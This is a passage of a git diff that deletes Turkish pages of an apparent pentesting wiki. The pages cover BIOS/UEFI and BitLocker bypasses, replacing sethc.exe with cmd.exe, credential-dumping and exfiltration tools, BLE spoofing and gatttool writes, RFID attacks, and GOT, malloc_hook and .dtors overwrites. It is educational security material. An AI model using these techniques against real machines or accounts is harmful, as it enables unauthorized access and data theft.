Referanslar - -- Daha fazla bilgi için [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/physical-attacks/physical-attacks.md b/src/physical-attacks/physical-attacks.md deleted file mode 100644 index e71729c71..000000000 --- a/src/physical-attacks/physical-attacks.md +++ /dev/null @@ -1,57 +0,0 @@ -# Fiziksel Saldırılar - -{{#include ../banners/hacktricks-training.md}} - -## BIOS Şifre Kurtarma ve Sistem Güvenliği - -**BIOS'u sıfırlamak**, birkaç şekilde gerçekleştirilebilir. Çoğu anakart, **30 dakika** kadar çıkarıldığında BIOS ayarlarını, şifreyi de içerecek şekilde sıfırlayan bir **pil** içerir. Alternatif olarak, belirli pinleri bağlayarak bu ayarları sıfırlamak için **anakart üzerindeki bir jumper** ayarlanabilir. - -Donanım ayarlamalarının mümkün veya pratik olmadığı durumlar için, **yazılım araçları** bir çözüm sunar. **Kali Linux** gibi dağıtımlarla bir **Live CD/USB** üzerinden sistem çalıştırmak, BIOS şifre kurtarmaya yardımcı olabilecek **_killCmos_** ve **_CmosPWD_** gibi araçlara erişim sağlar. - -BIOS şifresi bilinmediğinde, yanlış girildiğinde genellikle **üç kez** hata kodu ile sonuçlanır. Bu kod, kullanılabilir bir şifreyi potansiyel olarak geri almak için [https://bios-pw.org](https://bios-pw.org) gibi web sitelerinde kullanılabilir. - -### UEFI Güvenliği - -Geleneksel BIOS yerine **UEFI** kullanan modern sistemler için, **chipsec** aracı UEFI ayarlarını analiz etmek ve değiştirmek, **Secure Boot**'u devre dışı bırakmak için kullanılabilir. Bu, aşağıdaki komutla gerçekleştirilebilir: - -`python chipsec_main.py -module exploits.secure.boot.pk` - -### RAM Analizi ve Soğuk Başlatma Saldırıları - -RAM, güç kesildiğinde verileri genellikle **1 ila 2 dakika** boyunca kısa bir süre saklar. Bu süre, sıvı nitrojen gibi soğuk maddeler uygulanarak **10 dakikaya** kadar uzatılabilir. Bu uzatılmış süre boyunca, analiz için **dd.exe** ve **volatility** gibi araçlar kullanılarak bir **bellek dökümü** oluşturulabilir. - -### Doğrudan Bellek Erişimi (DMA) Saldırıları - -**INCEPTION**, **FireWire** ve **Thunderbolt** gibi arayüzlerle uyumlu, **fiziksel bellek manipülasyonu** için tasarlanmış bir araçtır. Herhangi bir şifreyi kabul etmek için belleği yamanarak oturum açma prosedürlerini atlamaya olanak tanır. Ancak, **Windows 10** sistemlerine karşı etkisizdir. - -### Sistem Erişimi için Live CD/USB - -**_sethc.exe_** veya **_Utilman.exe_** gibi sistem ikili dosyalarını **_cmd.exe_** kopyası ile değiştirmek, sistem ayrıcalıkları ile bir komut istemcisi sağlayabilir. **chntpw** gibi araçlar, bir Windows kurulumunun **SAM** dosyasını düzenlemek için kullanılabilir ve şifre değişikliklerine olanak tanır. - -**Kon-Boot**, Windows çekirdeğini veya UEFI'yi geçici olarak değiştirerek şifreyi bilmeden Windows sistemlerine giriş yapmayı kolaylaştıran bir araçtır. Daha fazla bilgi [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) adresinde bulunabilir. - -### Windows Güvenlik Özelliklerini Aşma - -#### Başlatma ve Kurtarma Kısayolları - -- **Supr**: BIOS ayarlarına erişim. -- **F8**: Kurtarma moduna girme. -- Windows afişinden sonra **Shift** tuşuna basmak, otomatik oturumu atlayabilir. - -#### Kötü USB Cihazları - -**Rubber Ducky** ve **Teensyduino** gibi cihazlar, hedef bilgisayara bağlandıklarında önceden tanımlanmış yükleri çalıştırabilen **kötü USB** cihazları oluşturmak için platformlar olarak hizmet eder. - -#### Hacim Gölge Kopyası - -Yönetici ayrıcalıkları, PowerShell aracılığıyla **SAM** dosyası da dahil olmak üzere hassas dosyaların kopyalarını oluşturma imkanı sağlar. - -### BitLocker Şifrelemesini Aşma - -BitLocker şifrelemesi, **kurtarma şifresi** bir bellek döküm dosyasında (**MEMORY.DMP**) bulunursa potansiyel olarak aşılabilir. Bu amaçla **Elcomsoft Forensic Disk Decryptor** veya **Passware Kit Forensic** gibi araçlar kullanılabilir. - -### Kurtarma Anahtarı Ekleme için Sosyal Mühendislik - -Yeni bir BitLocker kurtarma anahtarı, bir kullanıcıyı sıfırlardan oluşan yeni bir kurtarma anahtarı ekleyecek bir komutu çalıştırmaya ikna ederek sosyal mühendislik taktikleriyle eklenebilir ve böylece şifre çözme süreci basitleştirilebilir. - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/post-exploitation.md b/src/post-exploitation.md deleted file mode 100644 index 80b87c903..000000000 --- a/src/post-exploitation.md +++ /dev/null @@ -1,16 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -## **Yerel l00t** - -- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Bu scriptler, PE vektörlerini aramanın yanı sıra, dosya sisteminde hassas bilgileri de arayacaktır. -- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): **LaZagne projesi**, yerel bir bilgisayarda saklanan **birçok şifreyi geri almak için** kullanılan açık kaynak bir uygulamadır. Her yazılım, şifrelerini farklı teknikler (düz metin, API'ler, özel algoritmalar, veritabanları vb.) kullanarak saklar. Bu araç, en yaygın kullanılan yazılımlar için bu şifreleri bulma amacıyla geliştirilmiştir. - -## **Dış Hizmetler** - -- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Bu Modül, bir erişim token'ı kullanarak Confluence API'sine bağlanacak, PDF'ye aktaracak ve hedefin erişim sağladığı Confluence belgelerini indirecektir. -- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Hedefin erişim sağladığı Google Drive'dan dosyaları exfiltrate etmek için bir Kırmızı Ekip aracıdır. Bu, tüm paylaşılan dosyaları, paylaşılan sürülerden tüm dosyaları ve hedefin erişim sağladığı alan sürülerinden tüm dosyaları içerir. -- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Erişim sağladığınız hedef organizasyonun Google Kişi Dizini'ni exfiltrate etmek için bir Kırmızı Ekip aracıdır, Google'ın Kişi API'si aracılığıyla. -- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Bu, bir erişim token'ı verildiğinde bir Slack çalışma alanından 'ilginç' bilgileri çıkarmak için yerel Slack API'lerini kullanan Python'da geliştirilmiş bir araçtır. -- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound, kırmızı ve mavi ekiplerin bir Slack çalışma alanı/organizasyonunu hızlı bir şekilde keşfetmelerini sağlamak için bir komut satırı aracıdır. Slackhound, bir organizasyonun kullanıcılarını, dosyalarını, mesajlarını vb. hızlı bir şekilde aratılabilir hale getirir ve büyük nesneler çevrimdışı inceleme için CSV'ye yazılır. - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/radio-hacking/README.md b/src/radio-hacking/README.md deleted file mode 100644 index 73829a2a0..000000000 --- a/src/radio-hacking/README.md +++ /dev/null @@ -1 +0,0 @@ -# Radyo Hacking diff --git a/src/radio-hacking/low-power-wide-area-network.md b/src/radio-hacking/low-power-wide-area-network.md deleted file mode 100644 index 6e6141aa9..000000000 --- a/src/radio-hacking/low-power-wide-area-network.md +++ /dev/null @@ -1,16 +0,0 @@ -# Düşük Güçlü Geniş Alan Ağı - -{{#include ../banners/hacktricks-training.md}} - -## Giriş - -**Düşük Güçlü Geniş Alan Ağı** (LPWAN), **uzun menzilli iletişim** için düşük bit hızında tasarlanmış kablosuz, düşük güç tüketimli geniş alan ağı teknolojilerinin bir grubudur.\ -Altı milin üzerinde mesafelere ulaşabilirler ve **pilleri** 20 yıla kadar dayanabilir. - -Uzun Menzil (**LoRa**), birçok ülkede popülerdir ve **LoRaWAN** adında açık kaynak bir spesifikasyona sahiptir. - -### LPWAN, LoRa ve LoRaWAN - -[https://github.com/IOActive/laf](https://github.com/IOActive/laf) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md deleted file mode 100644 index 35c980fd4..000000000 --- a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md +++ /dev/null @@ -1,65 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# Giriş - -Bluetooth 4.0 spesifikasyonundan beri mevcut olan BLE, yalnızca 40 kanal kullanır ve 2400 ile 2483.5 MHz aralığını kapsar. Buna karşılık, geleneksel Bluetooth bu aynı aralıkta 79 kanal kullanır. - -BLE cihazları, **reklam paketleri** (**beaconlar**) göndererek iletişim kurar; bu paketler, BLE cihazının varlığını diğer yakın cihazlara yayınlar. Bu beaconlar bazen **veri** de gönderir. - -Dinleme cihazı, merkezi cihaz olarak da adlandırılır, bir reklam paketine **SCAN isteği** ile yanıt verebilir; bu istek özel olarak reklam cihazına gönderilir. O tarama isteğine verilen **yanıt**, tam cihaz adını gibi ilk reklam isteğine sığmayan ek bilgilerle birlikte **reklam** paketinin aynı yapısını kullanır. - -![](<../images/image (201) (2) (1) (1).png>) - -Preambül baytı frekansı senkronize ederken, dört baytlık erişim adresi bir **bağlantı tanımlayıcısıdır**; bu, birden fazla cihazın aynı kanallarda bağlantı kurmaya çalıştığı senaryolarda kullanılır. Sonraki Protokol Veri Birimi (**PDU**), **reklam verilerini** içerir. Birkaç PDU türü vardır; en yaygın kullanılanlar ADV_NONCONN_IND ve ADV_IND'dir. Cihazlar, **bağlantıları kabul etmiyorlarsa** **ADV_NONCONN_IND** PDU türünü kullanarak yalnızca reklam paketinde veri iletir. Cihazlar, **bağlantılara izin veriyorlarsa** **ADV_IND** kullanır ve bir **bağlantı** **kurulduğunda** reklam paketleri göndermeyi durdurur. - -## GATT - -**Genel Özellik Profili** (GATT), **cihazın verileri nasıl biçimlendireceğini ve ileteceğini** tanımlar. Bir BLE cihazının saldırı yüzeyini analiz ederken, genellikle dikkatinizi GATT (veya GATT'ler) üzerinde yoğunlaştırırsınız, çünkü bu, **cihaz işlevselliğinin tetiklendiği** ve verilerin nasıl depolandığı, gruplandığı ve değiştirildiğidir. GATT, bir cihazın özelliklerini, tanımlayıcılarını ve hizmetlerini 16 veya 32 bit değerler olarak bir tabloda listeler. Bir **özellik**, merkezi cihaz ile çevresel cihaz arasında **gönderilen** bir **veri** değeridir. Bu özellikler, onlara **ek bilgi sağlayan** **tanımlayıcılar** içerebilir. **Özellikler**, belirli bir eylemi gerçekleştirmekle ilgili olduklarında genellikle **hizmetlerde** **gruplandırılır**. - -# Sayım -```bash -hciconfig #Check config, check if UP or DOWN -# If DOWN try: -sudo modprobe -c bluetooth -sudo hciconfig hci0 down && sudo hciconfig hci0 up - -# Spoof MAC -spooftooph -i hci0 -a 11:22:33:44:55:66 -``` -## GATTool - -**GATTool**, başka bir cihazla **bağlantı** **kurmayı** sağlar, o cihazın **özelliklerini** listeleyebilir ve niteliklerini okuyup yazabilir.\ -GATTTool, `-I` seçeneği ile etkileşimli bir kabuk başlatabilir: -```bash -gatttool -i hci0 -I -[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful -[A4:CF:12:6C:B3:76][LE]> characteristics -handle: 0x0002, char properties: 0x20, char value handle: -0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb -handle: 0x0015, char properties: 0x02, char value handle: -0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb -[...] - -# Write data -gatttool -i -b --char-write-req -n -gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps) - -# Read data -gatttool -i -b --char-read -a 0x16 - -# Read connecting with an authenticated encrypted connection -gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c -``` -## Bettercap -```bash -# Start listening for beacons -sudo bettercap --eval "ble.recon on" -# Wait some time ->> ble.show # Show discovered devices ->> ble.enum # This will show the service, characteristics and properties supported - -# Write data in a characteristic ->> ble.write ->> ble.write ff06 68656c6c6f # Write "hello" in ff06 -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/radio-hacking/pentesting-rfid.md b/src/radio-hacking/pentesting-rfid.md deleted file mode 100644 index 7565d725c..000000000 --- a/src/radio-hacking/pentesting-rfid.md +++ /dev/null @@ -1,99 +0,0 @@ -# Pentesting RFID - -{{#include ../banners/hacktricks-training.md}} - -## Introduction - -**Radyo Frekansı Tanımlama (RFID)** en popüler kısa menzilli radyo çözümüdür. Genellikle bir varlığı tanımlayan bilgileri depolamak ve iletmek için kullanılır. - -Bir RFID etiketi, **kendi güç kaynağına (aktif)**, örneğin gömülü bir bataryaya dayanabilir veya okuma anteninden alınan **radyo dalgalarından indüklenen akımı** kullanarak güç alabilir (**pasif**). - -### Classes - -EPCglobal, RFID etiketlerini altı kategoriye ayırır. Her kategorideki bir etiket, önceki kategoride listelenen tüm yeteneklere sahiptir, bu da geriye dönük uyumluluk sağlar. - -- **Sınıf 0** etiketleri, **UHF** bantlarında çalışan **pasif** etiketlerdir. Satıcı, bunları üretim fabrikasında **önceden programlar**. Sonuç olarak, belleğinde depolanan bilgileri **değiştiremezsiniz**. -- **Sınıf 1** etiketleri de **HF** bantlarında çalışabilir. Ayrıca, üretimden sonra **sadece bir kez yazılabilirler**. Birçok Sınıf 1 etiketi, aldıkları komutların **döngüsel redundans kontrollerini** (CRC) işleyebilir. CRC'ler, hata tespiti için komutların sonunda bulunan birkaç ek bayttır. -- **Sınıf 2** etiketleri **birden fazla kez yazılabilir**. -- **Sınıf 3** etiketleri, mevcut sıcaklık veya etiketin hareketi gibi çevresel parametreleri kaydedebilen **gömülü sensörler** içerebilir. Bu etiketler **yarı-pasif**'dir, çünkü gömülü bir güç kaynağına sahip olmalarına rağmen, diğer etiketler veya okuyucularla kablosuz **iletişim başlatamazlar**. -- **Sınıf 4** etiketleri, aynı sınıftaki diğer etiketlerle iletişim başlatabilir, bu da onları **aktif etiketler** yapar. -- **Sınıf 5** etiketleri, **diğer etiketlere güç sağlayabilir ve önceki etiket** sınıflarıyla iletişim kurabilir. Sınıf 5 etiketleri **RFID okuyucuları** olarak işlev görebilir. - -### Information Stored in RFID Tags - -Bir RFID etiketinin belleği genellikle dört tür veri depolar: etiketin bağlı olduğu **varlığı tanımlayan** **tanımlama verisi** (bu veri, kullanıcı tanımlı alanlar, örneğin banka hesapları içerir); varlıkla ilgili **daha fazla** **detay** sağlayan **tamamlayıcı veri**; etiketin iç **konfigürasyonu** için kullanılan **kontrol verisi**; ve etiketin **üretici verisi**, bu da etiketin Benzersiz Tanımlayıcısını (**UID**) ve etiketin **üretimi**, **tipi** ve **satıcısı** ile ilgili detayları içerir. İlk iki veri türünü tüm ticari etiketlerde bulacaksınız; son iki veri, etiketin satıcısına bağlı olarak farklılık gösterebilir. - -ISO standardı, etiketin ait olduğu **nesne türünü** belirten bir kod olan Uygulama Aile Tanımlayıcısı (**AFI**) değerini belirtir. ISO tarafından belirtilen bir diğer önemli kayıt ise, kullanıcı verilerinin **mantıksal organizasyonunu** tanımlayan Veri Depolama Formatı Tanımlayıcısı (**DSFID**)dır. - -Çoğu RFID **güvenlik kontrolü**, her kullanıcı bellek bloğunda ve AFI ile DSFID değerlerini içeren özel kayıtlarda **okuma** veya **yazma** işlemlerini **kısıtlayan** mekanizmalara sahiptir. Bu **kilit** **mekanizmaları**, kontrol belleğinde depolanan verileri kullanır ve satıcı tarafından önceden yapılandırılmış **varsayılan şifreler** içerir, ancak etiket sahiplerinin **özel şifreler yapılandırmasına** izin verir. - -### Low & High frequency tags comparison - -
- -## Low-Frequency RFID Tags (125kHz) - -**Düşük frekanslı etiketler**, genellikle **yüksek güvenlik gerektirmeyen** sistemlerde kullanılır: bina erişimi, interkom anahtarları, spor salonu üyelik kartları vb. Daha yüksek menzil nedeniyle, ücretli otoparklar için kullanımı uygundur: sürücü kartı okuyucuya yakın getirmek zorunda değildir, çünkü daha uzaktan tetiklenir. Aynı zamanda, düşük frekanslı etiketler çok ilkel olup, düşük veri transfer hızına sahiptir. Bu nedenle, bakiye tutma ve kriptografi gibi karmaşık iki yönlü veri transferi uygulamak imkansızdır. Düşük frekanslı etiketler yalnızca kimliklerini herhangi bir kimlik doğrulama aracı olmadan iletir. - -Bu cihazlar, **pasif** **RFID** teknolojisine dayanır ve **30 kHz ile 300 kHz** aralığında çalışır, ancak genellikle 125 kHz ile 134 kHz kullanılır: - -- **Uzun Menzil** — daha düşük frekans, daha yüksek menzil anlamına gelir. Bir metreye kadar mesafeden çalışan bazı EM-Marin ve HID okuyucular vardır. Bunlar genellikle otoparklarda kullanılır. -- **İlkel protokol** — düşük veri transfer hızı nedeniyle bu etiketler yalnızca kısa kimliklerini iletebilir. Çoğu durumda, veriler kimlik doğrulaması yapılmadan ve herhangi bir koruma olmadan iletilir. Kart okuyucunun menzilindeyken, sadece kimliğini iletmeye başlar. -- **Düşük güvenlik** — Bu kartlar kolayca kopyalanabilir veya protokolün ilkel olması nedeniyle başkalarının cebinden bile okunabilir. - -**Popüler 125 kHz protokolleri:** - -- **EM-Marin** — EM4100, EM4102. CIS'teki en popüler protokol. Basitliği ve kararlılığı nedeniyle yaklaşık bir metreden okunabilir. -- **HID Prox II** — HID Global tarafından tanıtılan düşük frekanslı protokol. Bu protokol, batı ülkelerinde daha popülerdir. Daha karmaşık olup, bu protokol için kartlar ve okuyucular nispeten pahalıdır. -- **Indala** — Motorola tarafından tanıtılan çok eski bir düşük frekanslı protokol ve daha sonra HID tarafından satın alındı. Önceki iki protokole kıyasla doğada daha az karşılaşma olasılığınız vardır çünkü kullanımdan düşmektedir. - -Gerçekte, çok daha fazla düşük frekanslı protokol vardır. Ancak hepsi fiziksel katmanda aynı modülasyonu kullanır ve yukarıda listelenenlerin bir varyasyonu olarak kabul edilebilir. - -### Attack - -Bu Etiketlere **Flipper Zero ile saldırabilirsiniz**: - -{{#ref}} -../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md -{{#endref}} - -## High-Frequency RFID Tags (13.56 MHz) - -**Yüksek frekanslı etiketler**, kriptografi, büyük iki yönlü veri transferi, kimlik doğrulama vb. gerektiğinde daha karmaşık bir okuyucu-etiket etkileşimi için kullanılır.\ -Genellikle banka kartlarında, toplu taşıma araçlarında ve diğer güvenli geçişlerde bulunur. - -**Yüksek frekanslı 13.56 MHz etiketler, bir dizi standart ve protokoldür**. Genellikle [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/) olarak adlandırılır, ancak bu her zaman doğru değildir. Fiziksel ve mantıksal seviyelerde kullanılan temel protokol seti ISO 14443'tür. Yüksek seviyeli protokoller ve alternatif standartlar (ISO 19092 gibi) buna dayanmaktadır. Birçok kişi bu teknolojiyi **Yakın Alan İletişimi (NFC)** olarak adlandırır, bu terim 13.56 MHz frekansında çalışan cihazlar için kullanılır. - -
- -Basitçe ifade etmek gerekirse, NFC'nin mimarisi şöyle çalışır: iletim protokolü, kartları üreten şirket tarafından seçilir ve düşük seviyeli ISO 14443'e dayalı olarak uygulanır. Örneğin, NXP kendi yüksek seviyeli iletim protokolü olan Mifare'ı icat etmiştir. Ancak daha düşük seviyede, Mifare kartları ISO 14443-A standardına dayanmaktadır. - -Flipper, hem düşük seviyeli ISO 14443 protokolü ile hem de Mifare Ultralight veri transfer protokolü ve banka kartlarında kullanılan EMV ile etkileşimde bulunabilir. Mifare Classic ve NFC NDEF desteği eklemek için çalışıyoruz. NFC'yi oluşturan protokoller ve standartlar üzerine kapsamlı bir inceleme, daha sonra yayınlamayı planladığımız ayrı bir makaleyi gerektirir. - -ISO 14443-A standardına dayanan tüm yüksek frekanslı kartlar, benzersiz bir çip kimliğine sahiptir. Bu, kartın seri numarası gibi işlev görür, bir ağ kartının MAC adresi gibidir. **Genellikle, UID 4 veya 7 bayt uzunluğundadır**, ancak nadiren **10 bayta kadar** çıkabilir. UID'ler gizli değildir ve kolayca okunabilir, **bazen hatta kartın kendisinde basılıdır**. - -UID'ye dayanan birçok erişim kontrol sistemi, **kimlik doğrulama ve erişim izni** vermek için kullanılır. Bazen bu, RFID etiketleri **kriptografi desteklese bile** gerçekleşir. Böyle bir **kötüye kullanım**, güvenlik açısından onları aptal **125 kHz kartları** seviyesine düşürür. Sanal kartlar (Apple Pay gibi) dinamik bir UID kullanır, böylece telefon sahipleri ödeme uygulamalarıyla kapıları açmazlar. - -- **Düşük menzil** — yüksek frekanslı kartlar, okuyucuya yakın yerleştirilmesi için özel olarak tasarlanmıştır. Bu, kartı yetkisiz etkileşimlerden korumaya da yardımcı olur. Elde ettiğimiz maksimum okuma menzili yaklaşık 15 cm'dir ve bu, özel yapılmış yüksek menzil okuyucularla olmuştur. -- **Gelişmiş protokoller** — veri transfer hızları 424 kbps'ye kadar çıkabilir, bu da tam teşekküllü iki yönlü veri transferine olanak tanır. Bu da **kriptografi**, veri transferi vb. sağlar. -- **Yüksek güvenlik** — yüksek frekanslı temassız kartlar, akıllı kartlara hiçbir şekilde üstün değildir. AES gibi kriptografik olarak güçlü algoritmaları destekleyen ve asimetrik kriptografi uygulayan kartlar vardır. - -### Attack - -Bu Etiketlere **Flipper Zero ile saldırabilirsiniz**: - -{{#ref}} -../todo/radio-hacking/flipper-zero/fz-nfc.md -{{#endref}} - -Ya da **proxmark** kullanarak: - -{{#ref}} -../todo/radio-hacking/proxmark-3.md -{{#endref}} - -## References - -- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md deleted file mode 100644 index 00e2b6571..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md +++ /dev/null @@ -1 +0,0 @@ -# Keyfi Yazma 2 Çalıştır diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md deleted file mode 100644 index 42036300e..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ /dev/null @@ -1,25 +0,0 @@ -# AW2Exec - \_\_malloc_hook - -{{#include ../../../banners/hacktricks-training.md}} - -## **Malloc Hook** - -Resmi GNU sitesinde belirttiği gibi, **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **çağrılacak bir fonksiyonun adresine** işaret eden bir işaretçidir ve bu adres **libc kütüphanesinin veri bölümünde** saklanır. Bu nedenle, bu adres bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**. - -Malloc'u çağırmak için programın bunu çağırmasını beklemek veya **`printf("%10000$c")** çağrısı yaparak, `libc`'nin bunları yığın üzerinde tahsis etmesi için çok fazla byte tahsis etmek mümkündür. - -One Gadget hakkında daha fazla bilgi için: - -{{#ref}} -../one-gadget.md -{{#endref}} - -> [!CAUTION] -> GLIBC >= 2.34 için hook'ların **devre dışı olduğunu** unutmayın. Modern GLIBC sürümlerinde kullanılabilecek diğer teknikler vardır. Bakınız [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). - -## References - -- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) -- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md deleted file mode 100644 index 5517ff9f1..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md +++ /dev/null @@ -1,64 +0,0 @@ -# AW2Exec - GOT/PLT - -{{#include ../../../banners/hacktricks-training.md}} - -## **Temel Bilgiler** - -### **GOT: Global Offset Table** - -**Global Offset Table (GOT)**, dinamik olarak bağlantılı ikili dosyalarda **harici fonksiyonların adreslerini** yönetmek için kullanılan bir mekanizmadır. Bu **adresler çalışma zamanında** (dinamik bağlantı nedeniyle) bilinmediğinden, GOT, bu harici sembollerin adresleri çözüldüğünde **dinamik olarak güncellenmesini** sağlar. - -GOT'taki her giriş, ikilinin çağırabileceği harici kütüphanelerdeki bir sembole karşılık gelir. Bir **fonksiyon ilk kez çağrıldığında, gerçek adresi dinamik bağlayıcı tarafından çözülür ve GOT'a kaydedilir**. Aynı fonksiyona yapılan sonraki çağrılar, GOT'ta saklanan adresi kullanır ve böylece adresin tekrar çözülmesi için gereken yükten kaçınılır. - -### **PLT: Procedure Linkage Table** - -**Procedure Linkage Table (PLT)**, GOT ile yakın bir şekilde çalışır ve harici fonksiyonlara yapılan çağrıları yönetmek için bir trampolin görevi görür. Bir ikili dosya **ilk kez bir harici fonksiyonu çağırdığında, kontrol o fonksiyonla ilişkili PLT'deki bir girişe geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur, eğer bu adres daha önce çözülmemişse. Adres çözüldükten sonra, GOT'a kaydedilir. - -**Bu nedenle,** GOT girişleri, bir harici fonksiyon veya değişkenin adresi çözüldüğünde doğrudan kullanılır. **PLT girişleri, bu adreslerin dinamik bağlayıcı aracılığıyla ilk çözümlemesini kolaylaştırmak için kullanılır.** - -## Get Execution - -### GOT'u Kontrol Et - -GOT tablosunun adresini almak için: **`objdump -s -j .got ./exec`** - -![](<../../../images/image (619).png>) - -GEF'de **çalıştırılabilir dosyayı yükledikten sonra** **GOT'taki** **fonksiyonları** **görebildiğinizi** gözlemleyin: `gef➤ x/20x 0xADDR_GOT` - -![](<../../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) - -GEF kullanarak bir **hata ayıklama** oturumu **başlatabilir** ve GOT tablosunu görmek için **`got`** komutunu çalıştırabilirsiniz: - -![](<../../../images/image (621).png>) - -### GOT2Exec - -Bir ikili dosyada GOT, **fonksiyonların adreslerini** veya **PLT** bölümüne ait adresleri içerir. Bu keyfi yazmanın amacı, daha sonra **çalıştırılacak** bir fonksiyonun **GOT girişini** **`system`** **fonksiyonunun** PLT adresi ile **geçersiz kılmaktır**. - -İdeal olarak, **kontrolünüzdeki parametrelerle çağrılacak** bir **fonksiyonun** **GOT'unu** **geçersiz kılacaksınız** (böylece sistem fonksiyonuna gönderilen parametreleri kontrol edebileceksiniz). - -Eğer **`system`** **script tarafından kullanılmıyorsa**, sistem fonksiyonu **PLT'de** bir girişe sahip **olmayacaktır**. Bu senaryoda, önce **`system`** fonksiyonunun adresini **sızdırmanız** ve ardından GOT'u bu adrese işaret edecek şekilde **geçersiz kılmanız** gerekecektir. - -PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** ile görebilirsiniz. - -## **One Gadget** - -{{#ref}} -../one-gadget.md -{{#endref}} - -## **Koruma** - -**Full RELRO** koruması, ikili dosya başlatıldığında tüm fonksiyonların adreslerini çözerek ve sonrasında **GOT tablosunu yalnızca okunur** hale getirerek bu tür tekniklere karşı koruma sağlamayı amaçlar: - -{{#ref}} -../common-binary-protections-and-bypasses/relro.md -{{#endref}} - -## Referanslar - -- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) -- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md deleted file mode 100644 index c61bd7405..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md +++ /dev/null @@ -1,41 +0,0 @@ -# AWS2Exec - .dtors & .fini_array - -{{#include ../../../banners/hacktricks-training.md}} - -## .dtors - -> [!CAUTION] -> Günümüzde **.dtors bölümü olan bir ikili bulmak çok tuhaf**. - -Yıkıcılar, program **sona ermeden önce** ( `main` fonksiyonu döndükten sonra) **çalıştırılan** fonksiyonlardır.\ -Bu fonksiyonların adresleri, ikilinin **`.dtors`** bölümünde saklanır ve bu nedenle, eğer **__DTOR_END__** içine bir **shellcode** için **adres** **yazmayı** başarırsanız, bu, program sona ermeden önce **çalıştırılacaktır**. - -Bu bölümün adresini almak için: -```bash -objdump -s -j .dtors /exec -rabin -s /exec | grep “__DTOR” -``` -Genellikle **DTOR** işaretlerini `ffffffff` ve `00000000` değerleri **arasında** bulacaksınız. Yani bu değerleri gördüğünüzde, **kayıtlı bir fonksiyon yoktur** anlamına gelir. Bu yüzden **`00000000`** değerini **shellcode**'un **adresine** **yazın**. - -> [!WARNING] -> Elbette, önce **shellcode**'u saklayacak bir **yer bulmanız** 